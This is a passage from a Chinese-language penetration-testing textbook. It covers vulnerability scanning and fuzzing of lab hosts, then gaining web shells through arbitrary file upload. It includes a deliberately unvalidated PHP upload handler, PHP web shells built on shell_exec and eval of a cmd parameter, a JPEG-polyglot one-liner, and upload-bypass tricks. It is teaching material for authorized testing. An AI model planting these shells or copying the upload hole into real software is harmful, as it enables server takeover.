这是一个简单的 Nuclei 模板示例,使用 HTTP 查找默认的 Apache HTML 欢迎页面。请访问 http://172.16.10.11/ 来查看该页面的样子。
id: detect-apache-welcome-page
❶ info:
name: Apache2 Ubuntu Default Page
author: Dolev Farhi and Nick Aleks
severity: info
tags: apache
http:
- method: GET
path:
❷ - '{{BaseURL}}'
❸ matchers:
- type: word
words:
- "Apache2 Ubuntu Default Page: It works"
part: body
我们定义模板的元数据,如模板的名称、作者、严重性等❶。然后,我们指示 Nuclei 在执行此模板时使用 HTTP 客户端❷。我们还声明模板应使用 GET 方法。接下来,我们定义一个变量,该变量将在扫描时由我们提供给 Nuclei 的目标 URL 进行替换。然后,我们定义一个类型为 word 的匹配器❸,并定义一个搜索模式,用于与从服务器返回的 HTTP 响应体进行匹配,模式由部分:body 定义。
因此,当 Nuclei 对运行某种 Web 服务器的 IP 地址执行扫描时,模板将向其基本 URL(/)发送 GET 请求,并查找响应中的字符串“Apache2 ubuntu Default Page: It works”。如果在响应体中找到该字符串,则表示检查成功,因为模式匹配成功。
我们鼓励您探索 Nuclei 的模板系统,访问 docs.projectdiscovery.io/introduction,因为您可以轻松地使用 Nuclei 与 bash 进行持续评估。
编写自定义模板
让我们编写一个简单的模板,查找我们之前发现的 Git 仓库,位于 p-ftp-01(172.16.10.11)。我们将定义多个 BaseURL 路径,以表示我们识别的两个路径。然后,使用 Nuclei 的匹配器,我们将定义一个字符串 ref: refs/heads/master,用于匹配扫描服务器返回的响应体:
git-finder.yaml
id: detect-git-repository
info:
name: Git Repository Finder
author: Dolev Farhi and Nick Aleks
severity: info
tags: git
http:
- method: GET
path:
- '{{BaseURL}}/backup/acme-hyper-branding/.git/HEAD'
- '{{BaseURL}}/backup/acme-impact-alliance/.git/HEAD'
matchers:
- type: word
words:
- "ref: refs/heads/master"
part: body
这个模板的工作原理和前一个示例中的模板一样,只不过这次我们提供了两个路径进行检查:/backup/acme-hyper-branding/.git/HEAD 和 /backup/acme-impact-alliance/.git/HEAD。匹配器定义了我们期望在 HEAD 文件中看到的字符串。你可以通过向 172.16.10.11 的 Git 仓库发起 curl 请求来确认匹配:
$ **curl http://172.16.10.11/backup/acme-hyper-branding/.git/HEAD**
ref: refs/heads/master
从本书的 GitHub 仓库下载这个自定义 Nuclei 模板。
应用模板
让我们对 p-ftp-01(172.16.10.11)运行 Nuclei,使用我们刚刚编写的自定义模板。Nuclei 将其内置模板存储在文件夹 ~/.local/nuclei-templates 中。首先,运行以下命令以更新 Nuclei 的模板数据库:
$ **nuclei -ut**
接下来,将自定义模板保存到文件夹 ~/.local/nuclei-templates/custom 中,并命名为 git-finder.yaml。
在以下命令中,-u(URL)选项指定地址,-t(template)选项指定模板路径:
$ **nuclei -u 172.16.10.11 -t ~/.local/nuclei-templates/custom/git-finder.yaml**
`--snip--`
[INF] Targets loaded for scan: 1
[INF] Running httpx on input host
[INF] Found 1 URL from httpx
[detect-git-repository] [http] [info] http://172.16.10.11/backup/acme-hyper-branding/.git/HEAD
[detect-git-repository] [http] [info] http://172.16.10.11/backup/acme-impact-alliance/.git/HEAD
正如你所看到的,我们能够通过自定义模板识别出两个 Git 仓库。
运行完整扫描
当未提供特定模板时,Nuclei 会在扫描中使用其内置模板。运行 Nuclei 会产生很多输出,因此我们建议根据特定目标定制执行。例如,如果你知道某个服务器运行 Apache,你可以通过指定 -tags 选项来选择仅与 Apache 相关的模板:
$ **nuclei -tags apache,git -u 172.16.10.11**
运行 nuclei -tl 获取所有可用模板的列表。
让我们对 172.16.10.0/24 网络中的三个 IP 地址运行一次完整的 Nuclei 扫描,使用所有内置模板:
$ **nuclei -u 172.16.10.10:8081**
$ **nuclei -u 172.16.10.11**
$ **nuclei -u 172.16.10.12**
`--snip--`
[tech-detect:google-font-api] [http] [info] http://172.16.10.10:8081
[tech-detect:python] [http] [info] http://172.16.10.10:8081
[http-missing-security-headers:access-control-allow-origin] [http] [info]
http://172.16.10.10:8081
[http-missing-security-headers:content-security-policy] [http] [info]
http://172.16.10.10:8081
`--snip--`
Nuclei 通过使用 聚类 来优化总请求次数。当多个模板调用相同的 Web 路径(如 /backup)时,Nuclei 会将这些请求合并为一个,以减少网络开销。然而,Nuclei 在一次扫描中仍然可能发送成千上万的请求。你可以通过指定速率限制选项 (-rl),后跟一个整数,来控制每秒允许的请求数。
完整扫描结果会产生大量发现,因此将输出附加到文件中(使用 >>),以便逐一检查。正如你所看到的,Nuclei 可以识别漏洞,但它也可以指纹识别目标服务器及其运行的技术。Nuclei 应该会高亮显示之前看到的发现,以及一些新的问题。以下是它检测到的一些问题:
-
在 172.16.10.11 的 21 端口上启用了匿名访问的 FTP 服务器
-
位于 172.16.10.12/wp-login.php 的 WordPress 登录页面
-
WordPress 用户枚举漏洞(CVE-2017-5487)位于
172.16.10.12/?rest_route=/wp/v2/users/
让我们手动确认这三项发现,确保没有误报。通过执行以下 ftp 命令连接到标识出的 FTP 服务器 172.16.10.11。此命令将使用 匿名 用户和空密码连接到服务器:
$ **ftp ftp://anonymous:@172.16.10.11**
Connected to 172.16.10.11.
220 (vsFTPd 3.0.5)
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
200 Switching to Binary mode.
我们已经成功连接!让我们执行 ls 命令来验证是否能够列出服务器上的文件和目录:
ftp> **ls**
229 Entering Extended Passive Mode (|||33817|)
150 Here comes the directory listing.
drwxr-xr-x 1 0 0 4096 Mar 11 05:23 backup
-rw-r--r-- 1 0 0 10671 Mar 11 05:22 index.html
226 Directory send OK.
我们看到一个 index.html 文件和一个 backup 文件夹。这与我们之前看到的两个 Git 仓库所在的文件夹相同,只是现在我们可以访问这些文件所在的 FTP 服务器。
接下来,从你的 Kali 机器上打开浏览器,访问 http://172.16.10.12/wp-login.php。你应该能看到 图 5-2 中的页面。

图 5-2:WordPress 登录页面
最后,验证第三项发现:WordPress 用户枚举漏洞,它允许你收集有关 WordPress 账户的信息。默认情况下,每个 WordPress 实例都会公开一个 API 端点,列出 WordPress 系统用户。该端点通常不需要身份验证或授权,因此一个简单的 GET 请求应该返回用户列表。
我们将使用 curl 发送此请求,然后将响应传递给 jq 来美化返回的 JSON 输出。结果应该是一个用户数据的数组:
$ **curl -s http://172.16.10.12/?rest_route=/wp/v2/users | jq**
[
{
"id": 1,
"name": "jtorres",
"url": "http://172.16.10.12",
"description": "",
"link": "http://172.16.10.12/author/jtorres/",
"slug": "jtorres",
},
`--snip--`
]
该博客只有一个用户,jtorres。这可以作为后续暴力破解的好目标。如果这个 curl 命令返回了许多用户,你本可以只使用 jq 提取用户名 (清单 5-3)。
$ **curl -s http://172.16.10.12/?rest_route=/wp/v2/users/ | jq .[].name**
清单 5-3:从 HTTP 响应中提取用户名
三项发现都是正确信号,这对我们来说是好消息。表 5-1 总结了我们到目前为止识别的用户。
表 5-1:从仓库和 WordPress 收集的身份信息
| 来源 | 姓名 | 电子邮件 |
|---|---|---|
| acme-impact-alliance Git 仓库 | Kevin Peterson | kpeterson@acme-impact-alliance.com |
| acme-hyper-branding Git 仓库 | Melissa Rogers | mrogers@acme-hyper-branding.com |
| WordPress 账户 | J. Torres | jtorres@acme-impact-alliance.com |
因为在 ACME Impact Alliance 网站上找到了 jtorres 账户,而且我们已经知道该网站使用的邮箱格式,所以可以相对安全地假设 jtorres 的电子邮件是 jtorres@acme-impact-alliance.com。
练习 6:解析 Nuclei 的发现
Nuclei 的扫描输出有些杂乱,用 bash 解析起来可能有点困难,但并非不可能。Nuclei 允许你传递 -silent 参数来仅显示输出中的发现项。在你编写脚本来解析之前,先了解 Nuclei 的输出格式:
[template] [protocol] [severity] url [extractor]
每个字段用方括号 [] 括起来,并且用空格分隔。模板字段是模板的名称(取自模板文件的名称);协议字段显示协议类型,例如 HTTP;严重性字段显示发现的严重性(信息、低、中、高或关键)。第四个字段是 URL 或 IP 地址,第五个字段是通过模板逻辑和提取器提取的元数据。
现在你应该能够使用 bash 解析这些信息。清单 5-4 展示了一个示例脚本,运行 Nuclei,筛选出感兴趣的特定严重性,解析出有趣的部分,并将结果通过邮件发送给你。
nuclei-notifier.sh
#!/bin/bash
EMAIL_TO="security@blackhatbash.com"
EMAIL_FROM="nuclei-automation@blackhatbash.com"
for ip_address in "$@"; do
echo "Testing ${ip_address} with Nuclei..."
❶ result=$(nuclei -u "${ip_address}" -silent -severity medium,high,critical)
if [[-n "${result}"]]; then
❷ while read -r line; do
template=$(echo "${line}" | awk '{print $1}' | tr -d '[]')
url=$(echo "${line}" | awk '{print $4}')
echo "Sending an email with the findings ${template} ${url}"
sendemail -f "${EMAIL_FROM}" \
❸ -t "${EMAIL_TO}" \
-u "[Nuclei] Vulnerability Found!" \
-m "${template} - ${url}"
❹ done <<< "${result}"
fi
done
清单 5-4:使用 Nuclei 扫描并将结果发送给自己
让我们剖析一下代码,以更好地理解它的功能。我们使用 for 循环遍历 \(@ 变量中的值,\)@ 是一个特殊变量,你在第一章中学到,它包含传递给脚本的命令行参数。我们将每个参数赋值给 ip_address 变量。
接下来,我们运行 Nuclei 扫描,传递 -severity 参数扫描中等、高危或关键类别的漏洞,并将输出保存到 result 变量❶中。在 ❷ 处,我们逐行读取传递给 while 循环的输出,提取每一行的第一个字段,使用 tr -d '[]' 命令移除 [] 字符,以获得更清晰的输出。我们还从每一行中提取第四个字段,这是 Nuclei 存储易受攻击 URL 的地方。在 ❸ 处,我们发送一封包含相关信息的邮件。
要运行此脚本,请将其保存到文件中,并在命令行中传递要扫描的 IP 地址:
$ **nuclei-notifier.sh 172.16.10.10:8081 172.16.10.11 172.16.10.12 172.16.10.13**
要将这个脚本自定义,尝试使用 -j 选项让 Nuclei 输出 JSON 数据。然后将输出传递给 jq,具体方法参见第四章。
对隐藏文件进行模糊测试
现在我们已经确定了潜在的文件位置,让我们使用模糊测试工具来查找 p-web-01 上的隐藏文件 (http://172.16.10.10:8081/files)。Fuzzers 会生成半随机数据作为有效载荷的一部分。当这些数据发送到应用程序时,可能会触发异常行为或揭示隐秘信息。你可以使用模糊测试工具对 Web 服务器进行攻击,查找隐藏路径,或对本地二进制文件进行攻击,寻找缓冲区溢出或 DoS 等漏洞。
创建可能的文件名字典
在 Web 应用枚举的上下文中,模糊测试工具最好在输入定制的字典文件时使用,这些字典文件是针对你的目标量身定制的。字典文件可以包含公司名称、你已识别的个人、相关地点等等。这些定制的字典文件可以帮助你识别需要攻击的用户帐户、网络和应用服务、有效的域名、隐秘文件、电子邮件地址和 Web 路径等。
让我们使用 bash 编写一个自定义的字典文件,包含潜在的感兴趣文件名(参见清单 5-5)。
$ **echo -e acme-hyper-branding-{0..100}.{txt,csv,pdf,jpg}"\n" | sed 's/ //g' >** **files_wordlist.txt**
列表 5-5:使用大括号扩展创建多个具有不同扩展名的文件
该命令创建了带有可能的文件扩展名的文件,针对我们目标的名称——ACME Hyper Branding。它使用 echo 和大括号扩展 {0..100} 来创建从 0 到 100 的任意字符串,并将其附加到公司名称后。我们还使用大括号扩展来创建多个文件扩展类型,如 .txt、.csv、.pdf 和 .jpg。-e 选项用于 echo,允许我们解析反斜杠(\)转义字符。这意味着 \n 将被解释为换行符。然后,我们将此输出传递给 sed 命令,以删除输出中的所有空格,从而获得更清晰的列表。
使用 head 查看创建的文件:
$ **head files_wordlist.txt**
acme-hyper-branding-0.txt
acme-hyper-branding-0.csv
acme-hyper-branding-0.pdf
acme-hyper-branding-0.jpg
acme-hyper-branding-1.txt
acme-hyper-branding-1.csv
acme-hyper-branding-1.pdf
acme-hyper-branding-1.jpg
acme-hyper-branding-2.txt
acme-hyper-branding-2.csv
正如你所见,命令的输出遵循格式 acme-hyper-branding-<some_number>.<some_extension>。
使用 ffuf 进行模糊测试
ffuf(全称 Fuzz Faster U Fool)是一个功能强大且超快的网页模糊测试工具。我们将使用 ffuf 来发现 * /files * 端点下可能包含有趣数据的文件。
以下 ffuf 命令使用 -c(color)选项在终端中突出显示结果,-w(wordlist)选项指定自定义字典,-u(URL)选项指定路径,以及完整的 URL 用于目标模糊测试。我们在 p-web-01(172.16.10.10)上运行 ffuf:
$ **ffuf -c -w files_wordlist.txt -u http://172.16.10.10:8081/files/FUZZ**
:: Method : GET
:: URL : http://172.16.10.10:8081/files/FUZZ
:: Wordlist : FUZZ: files_wordlist.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
acme-hyper-branding-5.csv [Status: 200, Size: 432, Words: 31, Lines: 9, Duration: 32ms]
:: Progress: [405/405] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
请注意,URL 末尾的 FUZZ 是一个占位符,指示工具从字典中注入单词。实际上,它将用文件中的每一行替换 FUZZ。
根据输出,ffuf 识别到路径 http://172.16.10.10:8081/files/acme-hyper-branding-5.csv 返回了 HTTP 200 OK 状态码。如果你仔细查看输出,你会发现 fuzzer 在不到一秒的时间内发送了 405 次请求,真是相当令人印象深刻。
使用 Wfuzz 进行模糊测试
Wfuzz 是另一个与 ffuf 类似的网页模糊测试工具。事实上,ffuf 就是基于 Wfuzz 开发的。我们将使用 Wfuzz 执行相同类型的基于字典的扫描(-w),然后利用其过滤功能,仅显示那些收到 200 OK 状态码响应的文件(--sc 200):
$ **wfuzz --sc 200 -w files_wordlist.txt http://172.16.10.10:8081/files/FUZZ**
`--snip--`
Target: http://172.16.10.10:8081/files/FUZZ
Total requests: 405
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000022: 200 8 L 37 W 432 Ch "acme-hyper-branding-5.csv"
Total time: 0
Processed Requests: 405
Filtered Requests: 404
Requests/sec.: 0
接下来,让我们使用 wget 命令下载识别出的文件:
$ **wget http://172.16.10.10:8081/files/acme-hyper-branding-5.csv**
$ **cat acme-hyper-branding-5.csv**
no, first_name, last_name, designation, email
1, Jacob, Taylor, Founder, jtayoler@acme-hyper-branding.com
2, Sarah, Lewis, Executive Assistance, slewis@acme-hyper-branding.com
3, Nicholas, Young, Influencer, nyoung@acme-hyper-branding.com
4, Lauren, Scott, Influencer, lscott@acme-hyper-branding.com
5, Aaron,Peres, Marketing Lead, aperes@acme-hyper-branding.com
6, Melissa, Rogers, Marketing Lead, mrogers@acme-hyper-branding.com
我们已经找到了一个包含个人身份信息(PII)的表格,包括姓名、职称和电子邮件地址。记下我们在本章中提取的每个细节;你永远不知道什么时候这些信息会派上用场。
请注意,模糊测试工具可能会导致意外的 DoS(拒绝服务)状况,尤其是当它们经过优化以提高速度时。如果你在低功率服务器上运行高效的模糊测试工具,可能会导致应用程序崩溃,因此,请确保你已经获得了与公司合作的明确许可,才能进行此类活动。
使用 Nmap 脚本引擎评估 SSH 服务器
Nmap 包含许多 NSE 脚本,用于测试漏洞和配置错误。所有 Nmap 脚本都位于/usr/share/nmap/scripts路径下。当你使用-A 标志运行 Nmap 时,它将向目标发送所有 NSE 脚本,同时启用操作系统检测、版本检测、脚本扫描和跟踪路由。这可能是你可以在 Nmap 中进行的最喧闹的扫描,因此在需要隐秘时绝不要使用它。
在第四章中,我们确定了一个运行 OpenSSH 的服务器,位于p-jumpbox-01(172.16.10.13)。让我们使用专门针对 SSH 服务器的 NSE 脚本来看看我们能发现关于支持的认证方法的信息:
$ **nmap --script=ssh-auth-methods 172.16.10.13**
Starting Nmap (https://nmap.org) at 03-19 01:53 EDT
`--snip--`
PORT STATE SERVICE
22/tcp open ssh
| ssh-auth-methods:
| Supported authentication methods:
| publickey
|_ password
Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds
ssh-auth-methods NSE 脚本枚举了 SSH 服务器提供的认证方法。如果其中包括password,这意味着服务器接受密码作为认证机制。允许密码认证的 SSH 服务器容易受到暴力破解攻击。在第七章中,我们将对 SSH 服务器执行暴力破解攻击。
练习 7:结合工具查找 FTP 问题
这个练习的目标是编写一个脚本,调用几个安全工具,解析它们的输出,并将输出传递给其他工具以进行操作。以这种方式编排多个工具在渗透测试中是一个常见的任务,所以我们鼓励你熟悉构建这样的工作流程。
你的脚本应该执行以下操作:
1. 在命令行上接受一个或多个 IP 地址。
2. 对 IP 地址运行端口扫描器;你使用哪种端口扫描器完全取决于你。
3. 识别开放端口。如果其中有 FTP 端口(21/TCP),脚本应将地址传递给步骤 4 中的漏洞扫描器。
4. 使用 Nuclei 扫描 IP 地址和端口。尝试应用专用于查找 FTP 服务器问题的模板。在 Nuclei 模板文件夹/home/kali/.local/nuclei-templates中搜索与 FTP 相关的模板,或者使用-tags ftp Nuclei 标志。
5. 使用 Nmap 扫描 IP 地址。使用能够在 FTP 服务器中发现漏洞的 NSE 脚本,在/usr/share/nmap/scripts文件夹中搜索。例如,尝试ftp-anon.nse。
6. 解析并将结果写入文件,使用你选择的格式。文件应包括漏洞描述、相关 IP 地址和端口、发现时间戳以及检测问题的工具名称。关于如何呈现数据没有硬性要求;一种选项是使用 HTML 表格。如果你需要一个示例表格,请从书的 GitHub 存储库下载vulnerability_table.html并在浏览器中打开。或者,你可以将结果写入 CSV 文件。
正如你现在应该知道的,编写这样一个脚本有多种方式。只有最终结果才重要,因此按照你的意愿编写脚本。
概要
在本章中,我们通过进行漏洞扫描和模糊测试来总结了侦察活动。我们还验证了我们发现的漏洞,筛选出潜在的误报。
在此过程中,我们使用 bash 脚本执行了多项任务。我们扫描了漏洞,编写了能够从配置错误的 Web 服务器进行递归下载的自定义脚本,从 Git 存储库中提取了敏感信息等等。我们还使用聪明的 bash 脚本创建了自定义字典,并编排了多个安全工具的执行以生成报告。
让我们回顾一下到目前为止从侦察角度识别出的内容:
-
运行多个服务(HTTP、FTP 和 SSH)及其版本的主机
-
运行 WordPress 的 Web 服务器,启用了登录页面,并且存在一些漏洞,如用户枚举和缺少 HTTP 安全头部
-
一个具有详细robots.txt文件的 Web 服务器,其中包含自定义上传表单和捐赠页面的路径
-
匿名的、启用登录的 FTP 服务器
-
多个开放的 Git 存储库
-
允许基于密码的登录的 OpenSSH 服务器
在下一章中,我们将利用本章识别的信息通过利用漏洞来建立初步立足点并接管服务器。
第六章:6 获得 Web Shell

现在你已经理解了 bash shell 的强大功能,黑客发现爆破 shell 令人兴奋应该不再感到惊讶。爆破 shell 这个词描述了任何攻击的结果,即黑客获得了对系统 shell 的本地或远程访问权限,然后向其发送执行指令。
有许多方法可以获得对远程系统的 shell 访问权限,每种方法都针对不同的入口点。例如,你可以通过 web 应用程序漏洞获得远程 shell,或者通过暴力破解服务器上的系统账户,或者通过利用网络服务中的漏洞,如 FTP 或 Server Message Block。
这些远程 shell 可能与在 Kali 上运行的 bash shell 不同,因为它们通常带有有限的界面和功能,并且没有提升的权限。尽管如此,获得对另一台计算机的 shell 访问权限通常是执行一些最具破坏性的网络攻击的第一步。
在本章中,我们将探讨通过使用 web shell 获得初步访问权限的这种流行方法:web shell 是一种恶意脚本,它为未授权访问 web 服务器提供接口。为了实现这一点,我们将利用 文件上传漏洞,允许你将 web shell 上传到易受攻击的网站。
我们还将通过 操作系统命令注入 获得初步访问权限:这是一种允许通过将操作系统命令注入到 web 应用程序表单字段中来实现远程代码执行的漏洞。到本章结束时,你将获得对两个实验室服务器的初步访问权限,并开发自定义的 bash 脚本与底层系统进行交互。
任意文件上传漏洞
任意文件上传漏洞 是 web 应用程序中相当常见的安全缺陷。它允许用户上传不应该接受的文件类型,通常是由于配置不当或文件验证与限制控制措施不完善导致的。
举个例子,以下存在漏洞的 HTML 通过 HTTP POST 请求接受用户上传的文件,并将上传的文件移动到指定的目标目录,而不验证文件的类型、大小或名称。因此,攻击者可以上传任何文件,包括脚本、可执行文件或其他恶意内容到服务器的 uploads 目录。
<html>
<head>
<title>File Upload Form</title>
</head>
<body>
<form action="" method="POST" enctype="multipart/form-data">
<h2>Upload File</h2>
<input type="file" name="uploaded_file">
<input type="submit" name="submit" value="Upload">
</form>
</body>
</html>
<?php
if($_SERVER["REQUEST_METHOD"] == "POST"){
$filename = $_FILES["uploaded_file"]["name"];
move_uploaded_file($_FILES["uploaded_file"]["tmp_name"], "uploads/" . $filename);
echo "Your file was uploaded successfully.";
}
?>
为了利用这个漏洞,攻击者可能会上传一个包含 PHP: 超文本预处理器(PHP)web shell 负载的文件,通常具有 . php 扩展名。web shell 代码会为攻击者提供一个在目标系统上执行命令的接口。以下是此类 web shell 负载的简化示例:
<?php
$output = shell_exec($_GET['cmd']) ;
echo $output;
?>
shell_exec() 函数允许 Web 应用程序从 PHP 脚本中执行 Shell 命令。它提供了一种与服务器或操作系统命令行环境交互的方式。当 shell_exec() 被调用并传入一个命令作为参数时,它将在系统 Shell 中执行该命令,并以与应用程序上下文相同的用户(通常是 www-data、apache 或 nginx)返回输出。有效载荷将通过 HTTP GET 请求的 cmd 参数执行发送到它的命令。
如果 PHP Web Shell 的文件名是 webshell.php,攻击者可以通过访问以下 URL 在 Web 浏览器中访问它:http://target-site.com/uploads/webshell.php。Web Shell 中的 PHP 代码可能会在服务器上执行,从而为攻击者提供一个接口,以便在系统上执行命令。通过 cmd URL 查询参数,攻击者可以例如使用 ls 列出服务器上的文件:http://target-site.com/uploads/webshell.php?cmd=ls。如果浏览器访问此 URL,可能会在目标系统上执行命令并将响应显示在浏览器中。
Kali 在 /usr/share/webshells 目录下有多种语言的内建 Web Shell 列表。或者,你也可以在 github.com/nicholasaleks/webshells.git 找到 Web Shell。
针对任意文件上传的模糊测试
开发和执行 Web Shell 并不像我们刚才探讨的 PHP 示例那样简单。通常,你需要绕过一些常见的控制措施,这些措施用于防止任意文件上传。让我们转到实验环境,探索识别这些漏洞的工具。
识别上传漏洞的一种方法是使用自动化的 Web 应用扫描工具。在第五章中,我们使用 dirsearch 查找允许文件上传的端点和功能。我们的扫描结果显示,p-web-01 机器(172.16.10.10)在 http://172.16.10.10:8081/upload 上有一个文件上传页面。图 6-1 显示了当你访问此 URL 时,Kali Firefox 浏览器应该返回的内容。

图 6-1:p-web-01 机器上的文件上传器
如你所见,网页告诉我们它只接受 .jpg、.jpeg、.gif 和 .png 后缀的文件。通过手动测试,我们可以验证该应用程序是否确实执行了这一要求。
然而,为了将正确的 Web Shell 有效载荷上传到目标,我们必须先进行侦察。没有一种“万能”有效载荷可以适用于所有语言、Web 应用程序、框架和平台。
在前面的章节中,对 p-web-01 进行的扫描告诉我们,Web 应用程序使用 Python,并且运行 Flask,这是一种用 Python 编写的 Web 框架。让我们尝试上传一个针对 Python 的 Web Shell。首先,下载 python-webshell-check.py 测试文件。
注意
你可以在此章节的文件中找到相关内容 github.com/dolevf/Black-Hat-Bash/blob/master/ch06。
现在查看文件的内容,以便更好地理解我们上传时它应该如何工作:
import subprocess
result = subprocess.check_output('id', shell=True)
print(result.decode('utf-8'))
这个 Python 脚本使用导入的 subprocess 模块来在底层操作系统上执行一个 bash 命令。我们在 subprocess.check_output() 函数中硬编码了 id bash 命令,该命令会在一个子进程中执行并捕获其输出。shell=True 参数允许通过 shell 执行命令,使得可以使用特定于 shell 的函数和语法。最后,我们将命令的结果从字节类型解码为字符串并打印到控制台。当执行时,这段代码应该能检索运行该 Web 应用程序的用户的用户和组信息。
不幸的是,正如你在 图 6-2 中看到的那样,我们无法将 Python 文件上传到网络应用程序中。为了自己检查这一点,点击 选择文件,浏览到保存的 Web Shell,然后点击 上传。

图 6-2:文件类型上传错误
在接下来的章节中,你将学习到几种文件上传绕过技术,你可以利用这些技术避开限制,并有可能执行代码。
绕过文件上传控制
为了防止任意文件上传,开发者通常使用验证函数。这些函数可以验证文件的大小、扩展名及其他属性。然而,黑客可以利用一些常见的技术绕过这些文件上传控制。我们来看看其中的一些技术。
accept 属性修改
开发者在文件输入元素中使用 accept HTML 属性来指定浏览器允许用户选择上传的文件类型。默认情况下,该属性根据文件的扩展名或多用途互联网邮件扩展(MIME)类型来限制文件。例如,以下 HTML 代码使用 accept 属性只允许特定的文件扩展名:
<input type="file" name="file" **accept=".jpeg, .jpg, .gif, .png"**>
但由于这个属性是在客户端设置的,攻击者可以轻松绕过控制,欺骗应用程序接受具有不同扩展名或 MIME 类型的文件。我们可以通过使用浏览器开发者工具来修改 accept 属性。
默认情况下,ACME Hyper Branding 网络应用程序并没有使用 accept 属性来控制文件上传输入。为了更好地理解这个控制是如何工作的,尝试修改客户端 HTML 来包括该属性,如 图 6-3 所示。

图 6-3:使用开发者工具修改 accept 属性
如果你再次尝试上传文件,你应该会注意到 Kali 文件浏览器不会显示不支持的文件类型。然而,你可以轻松地在接受属性中附加另一个文件扩展名,如.py,或者通过使用通配符(*)值来告诉它接受所有文件扩展名。然后,web shell 有效载荷应该会出现在文件浏览器中。
单凭这项技术可能无法绕过文件上传控制,特别是如果 web 应用程序实施了服务器端验证和适当的文件类型检查。让我们考虑一些绕过服务器端控制的方法。
文件扩展名修改
我们可以尝试通过将恶意 web shell 有效载荷的文件扩展名更改为应用程序允许的扩展名来上传它。例如,将恶意脚本从webshell.php重命名为webshell.jpg,可能会绕过仅允许上传图像文件的文件扩展名检查。
我们可以尝试将python-webshell-check.py的文件扩展名更改为类似python-webshell-check.jpg的文件,然后测试p-web-01 web 应用程序的上传功能。使用以下 bash 命令复制并重命名文件:
$ **cp python-webshell-check.py python-webshell-check.jpg**
当我们尝试上传恶意脚本时,文件应该会成功上传,如图 6-4 所示。

图 6-4:通过更改文件扩展名成功上传恶意脚本
我们现在可以在服务器上执行脚本吗?在第五章中,我们发现了 web 应用程序的/uploads目录。让我们通过浏览器访问该目录,方法是导航到172.16.10.10:8081/uploads。你应该会收到图 6-5 中的错误信息。

图 6-5:ACME Hyper Branding /uploads 目录错误信息
看起来我们需要将文件名作为参数添加到 URL 中。尝试将python-webshell-check.jpg附加到这个/uploads URL 端点的末尾,然后访问它。
浏览器请求应该会成功,并且文件应自动下载。我们可以通过检查下载文件的内容来验证恶意脚本的完整性是否被服务器保持。运行以下 bash 命令:
$ **cat ~/Downloads/python-webshell-check.jpg**
import subprocess
# Basic python webshell checker
result = subprocess.check_output('id', shell=True)
print(result.decode('utf-8'))
然而,web 应用程序不会执行 Python 文件或运行 id shell 命令。相反,它会忽略文件内容,当我们访问文件的完整 URL 路径时,将其作为下载提供。
为了执行恶意代码,我们很可能需要依赖应用程序或服务器端代码中的其他漏洞,这些漏洞可能导致文件上传处理不当、验证不足或错误解释文件内容。通过利用这些漏洞,我们可能能够欺骗服务器将上传的文件当作脚本或可执行文件执行。
该技术的另一种变体是使用双扩展名,攻击者将第二个扩展名附加到文件后,以绕过文件类型检查。例如,我们可以尝试将webshell.php重命名为webshell.php.jpg。这种技巧可能能够绕过只检查文件扩展名最后部分或完全依赖文件扩展名来确定文件类型的控制。
恶意多用途文件
多用途文件是一种有趣的文件类型,不同的应用程序以不同的方式解析它们。这种多样性源自它们利用各种文件格式的特定结构和解析规则。
创建多用途文件的一种方法是通过操控文件头部,也叫做文件签名或魔术字节,这些通常位于文件的开头。操作系统和应用程序通常使用文件头部来识别文件的类型,以便正确解释其数据。
恶意的多用途文件有可能规避验证文件扩展名或内容类型的安全措施。通过巧妙地创建文件头部,我们可以欺骗系统将文件当作无害文件处理,而实际上它们包含有害内容。
作为示例,我们来看看 JPEG 图像文件的头部。通常,JPEG 文件以标准的魔术字节签名 FF D8 FF E0 开头,后面跟着附加的字节:
**FF D8 FF E0** 00 10 4A 46 49 46 00 01
我们可以通过巧妙地将 JPEG 魔术字节附加到 PHP Webshell 代码后,来伪装成一个无害的图像文件,如下所示:
$ **echo -e "\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x00\x01<?php**
**eval($_GET['cmd'];?>" > polyglot.php**
这个 bash 命令创建了一个恶意的polyglot.php文件,初始字节表明它是一个 JPEG 文件。但在这些字节之后,我们引入了 PHP 代码。注入将执行一个使用 cmd 查询参数的 eval()函数。你可以使用 polyglot.php 命令来确认文件类型是 JPEG 图像数据文件。
许多工具和库可以帮助我们操控图像文件头部。例如,像 HxD、Hex Fiend 和 Bless 这样的十六进制编辑器,或像 libjpeg 和 libpng 这样的库。强大的 ImageMagick 和 ExifTool 命令行工具也能操控多种图像文件格式。
恶意多用途文件要生效必须满足某些条件。首先,当用户上传文件时,服务器必须将其解释为图像并成功保存。其次,当用户请求该文件时,生成响应的 PHP 解释器必须将该文件识别为脚本并进行处理。在某些情况下,文件可能需要带有.php扩展名才能触发 PHP 处理。
其他绕过技巧
在本节中,我们将简要提到几种你可以尝试的其他绕过技巧。
空字节注入,也称为空字节注入攻击或空字符注入,用于操控依赖于空字符终止字符串的文件处理系统。这种技术利用了空字节\x00 的存在,它标志着在多种编程语言中字符串的结束。
这种攻击将空字节注入到文件名字符串中,导致文件名被截断,可能会导致意外行为。例如,攻击者可以将 webshell.php 重命名为 webshell.jpg%00.php,在 * .jpg* 扩展名后注入空字节的 URL 编码表示。当服务器处理文件名时,它可能会将其解释为 webshell.jpg,未意识到空字节和随后的 * .php* 扩展名的存在。然而,当服务器稍后处理文件时,它可能将文件作为 PHP 脚本读取并执行 web shell。
Content-Type 头部操作,也称为 MIME 类型伪造,是一种通过操控文件上传过程中发送的 HTTP 请求中的 Content-Type 头部来绕过文件上传控制的技术。通过将头部更改为允许的内容类型,我们可以潜在地绕过服务器端的文件检查。攻击者将使用类似 Burp Suite 的 HTTP 拦截代理捕获他们的上传请求,并在请求到达服务器之前操作 Content-Type 头部。
现在我们已经介绍了一些技术,可以在实验环境中探索它们,尝试上传并执行 web shell。
使用 Burp Suite 上传文件
我们将利用 Burp Suite 操控 Content-Type HTTP 头部,利用 p-web-01 服务器上的任意文件上传漏洞进行攻击。Burp Suite 是一个由 PortSwigger 开发的流行安全测试工具,它使我们能够轻松操控发送到 web 应用程序的流量,并查看它们返回的响应。
